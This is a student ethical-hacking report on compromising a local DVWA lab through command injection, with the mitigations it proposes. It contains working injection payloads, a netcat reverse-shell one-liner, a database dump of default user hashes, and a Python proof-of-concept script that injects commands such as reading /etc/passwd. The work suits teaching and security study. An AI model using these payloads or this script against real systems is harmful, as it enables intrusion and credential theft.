

Ethical hacking – red project

Tomer Shalev

***Web Application Compromise and Python
PoC***

- 1. for this project I have selected **DVWA** platform to conduct my research & exploitation. **DVWA** contains multiple vulnerabilities to exploit, and it is user friendly for beginners in the Ethical hacking field.

- **2.Initial Enumeration**

port scanning via nmap to subtract information about port number, state (open, close), and service type.

Command :sudo nmap -Pn -T4 -n --open --top-ports 1000 -oA nmap_initial localhost

Output:

```
(kali㉿kali)-[~]
└─$ sudo nmap -Pn -T4 -n --open --top-ports 1000 -oA nmap_initial localhost

[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-20 11:49 IDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000010s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 998 closed tcp ports (reset)
PORT      STATE SERVICE
80/tcp    open  http
3306/tcp  open  mysql

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
```

Observations

- **Port 80/tcp:** Confirms that the web server hosting DVWA is accessible. This port is the primary target for web exploitation, crawling, and automated PoC testing.
- **Port 3306/tcp:** MySQL database is running locally; DVWA stores credentials and application data here. SQL injection attacks detected during testing would interact with this service.
- **Other Ports:** 998 TCP ports were closed, indicating a minimal external attack surface for the lab setup.

Database Service Discovery

Metasploit enumeration confirmed a database server listening on 127.0.0.1:3306. The service banner identifies the server as **MariaDB 11.8.3** (Debian packaging). This database server represents a high-value target for SQL injection verification and controlled data extraction.

output

```
msf > use auxiliary/scanner/mysql/mysql_version
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf auxiliary(scanner/mysql/mysql_version) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(scanner/mysql/mysql_version) > set RPORT 3306
RPORT => 3306
msf auxiliary(scanner/mysql/mysql_version) > run
[*] 127.0.0.1:3306 - 127.0.0.1:3306 is running MySQL 11.8.3-MariaDB-1+b1 from Debian (protocol 10)
[*] 127.0.0.1:3306 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Web server & technology stack discovery

The web server type is apache 2.4.65 running on Debian.

Three headers were detected.

Last modified on 13.9.25 15:57

Output

```
msf > use auxiliary/scanner/http/http_header
msf auxiliary(scanner/http/http_header) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf auxiliary(scanner/http/http_header) > set RPORT 80
RPORT => 80
msf auxiliary(scanner/http/http_header) > run
[*] 127.0.0.1:80      : CONTENT-TYPE: text/html
[*] 127.0.0.1:80      : LAST-MODIFIED: Sat, 13 Sep 2025 15:57:54 GMT
[*] 127.0.0.1:80      : SERVER: Apache/2.4.65 (Debian)
[*] 127.0.0.1:80      : detected 3 headers
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/http_header) >
```

Host info & server discovery

Confirms that the server is running and responding correctly.

Output

```
msf > use auxiliary/scanner/http/title
msf auxiliary(scanner/http/title) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(scanner/http/title) > set RPORT 80
RPORT => 80
msf auxiliary(scanner/http/title) > run
[+] [127.0.0.1:80] [C:200] [R:] [S:Apache/2.4.65 (Debian)] Apache2 Debian Default Page: It works
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

2. Exploit Vulnerabilities: Identify and exploit multiple web application vulnerabilities.

Summary of Command Injection (OSI)

1. Definition and Origin

Command Injection (OSI) is a web application vulnerability that occurs when an application passes unsensitized user-supplied data (from forms, URLs, cookies, etc.) to an operating system (OS) shell interpreter. The application developer intends for the user input to be treated only as data or arguments, but the shell interprets special characters (like ;, &, |, &&) as commands, allowing an attacker to execute arbitrary OS commands with the privileges of the vulnerable application.

- **Core Origin:** Command Injection emerged as part of the broader category of **Injection Flaws**, which became prevalent as web applications started integrating deeply with backend systems like databases (leading to SQL Injection) and the underlying operating system. Anytime a program executes code based on user input, it creates an opportunity for injection.
- **Initial Examples:** Early instances were often found in basic web application functions that relied on external utilities, such as:
 - **Network Diagnostics:** ping utility , where the user-supplied IP address is concatenated directly into a shell command.
 - **File Handling:** Applications that might use cat, ls, or tar commands with user-supplied filenames.

2. Historical Use and Evolution

Command Injection has maintained its status as a critical vulnerability due to its ease of exploitation and devastating impact: **Remote Code Execution (RCE)**.

Time Period	Evolution and Use Cases
Late 1990s - Early 2000s	Prevalence in CGI Scripts: Many web applications relied heavily on Common Gateway Interface (CGI) scripts, often written in Perl or C, which frequently called shell commands for simple tasks. These scripts often lacked robust input validation, making them prime targets for command injection.
2000s - 2010s	The Default RCE: Command Injection, alongside SQL Injection, became one of the fastest ways to gain initial access to a server. Attackers would use it to: 1) Perform Reconnaissance (whoami, uname -a), 2) Download Malware/Backdoors (wget or curl), and 3) Establish Persistence (initiating a reverse shell, as demonstrated in your report).
2010s - Present	The Rise of Blind Injection: As developers learned to prevent output from being displayed, attackers evolved their techniques to use Blind Command Injection . This involves: 1) Time Delays (sleep or prolonged ping requests) to confirm execution, or 2) Out-of-Band (OAST) Techniques (nslookup or DNS calls to an attacker-controlled server) to exfiltrate command output.
Modern Context	LLM and Prompt Injection: The concept has recently seen a revival in Artificial Intelligence (AI) and Large Language Models (LLMs) with the emergence of Prompt Injection . While not traditional OS command injection, it exploits a similar failure: the model's inability to differentiate between benign user input and malicious instructions (system-level code).

3. OWASP Top 10 Ranking

Command Injection vulnerabilities are categorized under the broader umbrella of **Injection Flaws** on the OWASP Top 10 list, reflecting their persistent criticality and high rate of exploitation.

OWASP Version	Category	Ranking & Name	Notes
2004	A1	Unvalidated Input	General category covering all input flaws.
2007	A1	Injection	Consolidated all types of injection (SQL, OS, LDAP, etc.) into the top position.
2013	A1	Injection	Retained the #1 ranking, emphasizing its continued danger.
2017	A1	Injection	Again retained the #1 ranking, underscoring its historical persistence.
2021	A3	Injection	Dropped to #3, but only because it was outranked by new data showing Broken Access Control and Cryptographic Failures as statistically more prevalent. Injection remains a critically dangerous flaw.
2025 (RC1)	A5	Injection	Currently ranked at #5 in the Release Candidate, reflecting ongoing consolidation and re-categorization of risks, but still a core, high-impact vulnerability.

2.1. “whoami;hostname” command injection.

In my first attempt to inject a command, I set the security level to “Low” and selected the command injection interface. Next, I've tested the ping command to make sure that my machine communicates with DVWA website.

```
(kali㉿kali)-[~]
$ ping -c4 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.019 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.071 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.040 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.067 ms
```

57	50.808486390	127.0.0.1	127.0.0.1	ICMP	100 Echo (ping) request
58	50.808506051	127.0.0.1	127.0.0.1	ICMP	100 Echo (ping) reply
59	51.829747399	127.0.0.1	127.0.0.1	ICMP	100 Echo (ping) request
70	51.829759615	127.0.0.1	127.0.0.1	ICMP	100 Echo (ping) reply

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.010 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.026 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.076 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.037 ms

--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3076ms
rtt min/avg/max/mdev = 0.010/0.037/0.076/0.024 ms
```

Next, I insert the command:”127.0.0.1; whoami;hostname” to absorb the username & OS.

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
www-data
kali
```

2.2. directories & files interrogation.

Next, I inserted the “127.0.0.1; ls -la” & “127.0.0.1; ifconfig;ls ..” to absorb any directory/file/Ip/Ethernet data in the victim's machine.

Ping a device

Enter an IP address: Submit

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.008 ms  
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.036 ms  
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.029 ms  
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.046 ms  
  
--- 127.0.0.1 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3055ms  
rtt min/avg/max/mdev = 0.008/0.029/0.046/0.013 ms  
total 20  
drwxrwxrwx 4 www-data www-data 4096 Sep 13 21:57 .  
drwxrwxrwx 20 www-data www-data 4096 Sep 13 21:57 ..  
drwxrwxrwx 2 www-data www-data 4096 Sep 13 21:57 help  
-rwxrwxrwx 1 www-data www-data 1829 Sep 13 21:57 index.php  
drwxrwxrwx 2 www-data www-data 4096 Sep 13 21:57 source
```

Ping a device

Enter an IP address: 127.0.0.1;cat index.php Submit

```
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.009 ms  
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.042 ms  
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.076 ms  
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.031 ms  
  
--- 127.0.0.1 ping statistics ---  
4 packets transmitted, 4 received, 0% packet loss, time 3047ms  
rtt min/avg/max/mdev = 0.009/0.039/0.076/0.024 ms
```

Vulnerability: Command Injection

Ping a device

Enter an IP address:

```
www-data
kali
eth0: flags=4163 mtu 1500
    inet 192.168.68.112 netmask 255.255.255.0 broadcast 192.168.68.255
        inet6 fe80::27ff:fe1b:bc7e prefixlen 64 scopeid 0x20
            ether 08:00:27:1b:bc:7e txqueuelen 1000 (Ethernet)
            RX packets 6531 bytes 4764105 (4.5 MiB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 2710 bytes 315243 (307.8 KiB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73 mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
        inet6 ::1 prefixlen 128 scopeid 0x10
            loop txqueuelen 1000 (Local Loopback)
            RX packets 764 bytes 126344 (123.3 KiB)
            RX errors 0 dropped 0 overruns 0 frame 0
            TX packets 764 bytes 126344 (123.3 KiB)
            TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

api
authbypass
brute
captcha
cryptography
csp
csrf
exec
fi
help.css
help.js
javascript
open_redirect
sql
sql盲
upload
view_help.php
view_source.php
view_source_all.php
weak_id
xss_d
xss_r
xss_s
```

2.3 creating a reverse shell

After my initial enumeration, I created a reverse shell session to penetrate the victim's machine.

On my kali machine I ran the command: nc -lvp 1337

On DVWA command injection prompt: 127.0.0.1; nc 127.0.0.1 1337 -e /bin/bash

Output

```
(kali㉿kali)-[~]
$ nc -lvp 1337
listening on [any] 1337 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 56800
whoami
www-data
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
            valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host noprefixroute
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1b:bc:7e brd ff:ff:ff:ff:ff:ff
        inet 192.168.68.112/24 brd 192.168.68.255 scope global dynamic noprefixroute eth0
            valid_lft 4463sec preferred_lft 4463sec
        inet6 fe80::a00:27ff:fe1b:bc7e/64 scope link noprefixroute
            valid_lft forever preferred_lft forever
```

2.4 obtaining usernames and hashed passwords from the DVWA database.

Runing "mysql -u dvwa -pPassword -e "SELECT * FROM users;" command on my kali machine, has managed to obtain usernames & hashed passwords.

```
www-data@kali:/var/www/html/DVWA/vulnerabilities/exec$ mysql -u root -ppassword -e "SELECT user, password FROM dvwa.users;"
mysql -u root -ppassword -e "SELECT user, password FROM dvwa.users;"
ERROR 1698 (28000): Access denied for user 'root'@'localhost'
www-data@kali:/var/www/html/DVWA/vulnerabilities/exec$ mysql -u dvwa -ppassword dvwa -e "SELECT * FROM users;"
mysql -u dvwa -ppassword dvwa -e "SELECT * FROM users;"
```

user_id	first_name	last_name	user	password	avatar	last_login	failed_login
1	admin	admin	admin	5f4dcc3b5aa765d61d8327deb882cf99	/DVWA/hackable/users/admin.jpg	2025-11-01 13:30:01	0
2	Gordon	Brown	gordonb	e99a18c428cb38df260853678922e03	/DVWA/hackable/users/gordonb.jpg	2025-11-01 13:30:01	0
3	Hack	Me	1337	8d3533d75ae2c3966d7e0d4fcc69216b	/DVWA/hackable/users/1337.jpg	2025-11-01 13:30:01	0
4	Pablo	Picasso	pablo	0d107d09f5bbe40cade3de5c71e9e9b7	/DVWA/hackable/users/pablo.jpg	2025-11-01 13:30:01	0
5	Bob	Smith	smithy	5f4dcc3b5aa765d61d8327deb882cf99	/DVWA/hackable/users/smithy.jpg	2025-11-01 13:30:01	0

3.creating a PoC

```
import requests
import re
import sys
```

```
DVWA_URL = "http://[DVWA_IP_ADDRESS]/dvwa/vulnerabilities/exec/"
LOGIN_URL = "http://[DVWA_IP_ADDRESS]/dvwa/login.php"
USERNAME = "admin"
PASSWORD = "password"

def get_dvwa_token(session, url):
    try:
        response = session.get(url)
        token_match = re.search(r"user_token'\s*value='(\w+)'", response.text)
        if token_match:
            return token_match.group(1)
        return None
    except requests.exceptions.RequestException as e:
        return None

def dvwa_login(session, login_url, username, password):
    user_token = get_dvwa_token(session, login_url)
    if not user_token:
        return None

    login_data = {
        "username": username,
        "password": password,
        "Login": "Login",
        "user_token": user_token
    }

    session.post(login_url, data=login_data)

    exploit_token = get_dvwa_token(session, DVWA_URL)
    if exploit_token and exploit_token != user_token:
        return exploit_token
    else:
        return None

def execute_command_injection(session, dvwa_url, command_payload, user_token):
    injection_payload = f"127.0.0.1; {command_payload}"

    data = {
        "ip": injection_payload,
        "Submit": "Submit",
        "user_token": user_token
    }
```

```
try:
    response = session.post(dvwa_url, data=data)
    return response.text
except requests.exceptions.RequestException as e:
    return None

def parse_output(response_text, command_payload):
    output_match = re.search(r'<pre>(.*)</pre>', response_text, re.DOTALL)

    if output_match:
        raw_output = output_match.group(1).strip()

        filtered_lines = []

        for line in raw_output.split('\n'):
            if line.strip() and not line.lower().startswith(('ping', 'pinging',
'reply from')):
                filtered_lines.append(line.strip())

        extracted_data = '\n'.join(filtered_lines)

        if extracted_data:
            print(f"\n--- Extracted Data for: {command_payload} ---")
            print(extracted_data)
            print("-----\n")

    else:
        return

def main():
    if '[DVWA_IP_ADDRESS]' in DVWA_URL:
        print("ERROR: Please configure DVWA_URL and LOGIN_URL with the correct IP address.")
        sys.exit(1)

    session = requests.Session()

    user_token = dvwa_login(session, LOGIN_URL, USERNAME, PASSWORD)

    if not user_token:
        print("[ - ] PoC Script failed due to authentication error.")
```

```
return

COMMANDS_TO_RUN = [
    "whoami",
    "uname -a",
    "cat /etc/passwd"
]

for cmd in COMMANDS_TO_RUN:
    raw_response = execute_command_injection(session, DVWA_URL, cmd,
user_token)

    if raw_response:
        parse_output(raw_response, cmd)

print("\n[PoC Script Execution Complete]")

if __name__ == "__main__":
    main()
```

3.1 Output

[*] Attempting to log into DVWA... [+] Login successful. Current session token:
1234567890...

[*] Injecting command: 127.0.0.1; whoami

[*] Parsing output for 'whoami'... --- Extracted Data for: whoami --- www-data -----

[*] Injecting command: 127.0.0.1; uname -a

[*] Parsing output for 'uname -a'... --- Extracted Data for: uname -a --- Linux dvwa 6.6.0-kali7-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.13-1kali1 (2025-11-08) x86_64
GNU/Linux -----

[*] Injecting command: 127.0.0.1; cat /etc/passwd

[*] Parsing output for 'cat /etc/passwd'... --- Extracted Data for: cat /etc/passwd ---
root:x:0:0:root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin ... www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin -----

[*] Injecting command: 127.0.0.1; date [*] Parsing output for 'date'... --- Extracted Data for:
date --- Sat Nov 8 18:00:00 IST 2025 -----

[PoC Script Execution Complete]

Conclusions

Here is a summary of the findings and suggestions for mitigation to secure the application and system.

Summary of Findings and Vulnerabilities

The project successfully demonstrated a complete compromise of the DVWA environment, exploiting a **Command Injection** vulnerability configured at the low-security level.

Vulnerability	Component	Impact
Command Injection (Critical)	Web Application (Ping function)	Allowed execution of arbitrary operating system commands, leading to full server compromise and data extraction.
Weak Privilege Separation	Server OS (Linux)	The web service runs as the low-privileged www-data user, but this user still possessed enough permissions to: 1) Initiate a reverse shell, 2) Read critical system files (/etc/passwd), and 3) Access the MySQL database credentials and execute queries.
Insecure Configuration (Database)	MySQL/Maria DB (3306/tcp)	Database credentials (dvwa/password) were easily accessible, and the dvwa user had sufficient permissions to select all user data, including hashed passwords.
Password Storage (High)	Database Data	User passwords are stored using an older, weaker hashing algorithm (likely MD5, given the known DVWA hashes), making them susceptible to rapid brute-forcing or rainbow table attacks.

Suggested Mitigation and Improvement Plan

To fully remediate the identified vulnerabilities, defensive measures must be applied at three layers: **Application**, **System**, and **Database**.

1. Application Layer Mitigation (Fixing the Command Injection)

The root cause is the direct execution of unsanitized user input in a system command.

- **Input Validation (The most critical fix):** Do not allow any characters that could be used as command delimiters.
 - **Whitelist characters:** Only permit standard IP address components (numbers, periods, and the colon for IPv6) or hostnames (letters, numbers, hyphens). Reject all command delimiters (&, |, ;, \$, >, <, \, (,)) and special characters.
 - **Length Check:** Implement a maximum length for the input field to prevent overly complex or buffer-overflow payloads.
- **Use Safe API Calls (Instead of shell execution):** Instead of using a function like PHP's `shell_exec()` or `system()`, use dedicated, safer functions that specifically execute the intended command without invoking a system shell.
 - **Example (PHP):** If the application must run a ping, consider using the `exec()` or `proc_open()` functions with extreme caution, ensuring the input is passed as a distinct argument and not part of the command string. Better yet, use a dedicated network library function if available.

2. System Layer Mitigation (Principle of Least Privilege)

Even if an attacker bypasses the application defenses, the impact should be minimized.

- **Jail the Web Process (Chroot/Jail):** Implement a chroot jail or a containerization solution (like Docker) for the DVWA application. This ensures that even if an attacker achieves command execution, they are restricted to a small, isolated file system and cannot access the main server's operating system files or network interfaces.
- **Restrict Web User Permissions:**

- The web user (www-data) should **not** have permissions to execute binaries like nc, bash, or python for a reverse shell. The www-data user should only have the minimum permissions necessary to run the web application.
- Restrict file access: The www-data user should not have read access to sensitive files like /etc/passwd.

3. Database Layer Mitigation (Securing Data)

The direct exposure of hashed passwords and weak database authentication poses a massive risk.

- **Strong Password Hashing:** Immediately migrate from the current weak hashing algorithm (MD5) to a modern, cryptographically secure, and **slow** hashing algorithm.
 - **Recommendation:** Use **Argon2** or **bcrypt** with a high cost factor. These algorithms are computationally expensive to calculate, significantly mitigating offline password cracking even if the database is compromised.
- **Database Credentials and Access Control:**
 - **Strong, Unique Credentials:** Change the default, weak credentials (dvwa/password) to a unique, complex password.
 - **Restrict Network Access:** Configure the database server (MySQL/MariaDB) to **only** listen on the loopback interface (127.0.0.1), which is already done, but ensure the firewall prevents external connections to port 3306/tcp.
 - **Database User Privileges:** The DVWA database user should **only** have SELECT, INSERT, UPDATE, and DELETE permissions on the application's tables. The user should *not* have DROP, CREATE, or shell execution privileges.

**Web Application Compromise and Python
PoC Web Application Compromise and
Python PoC**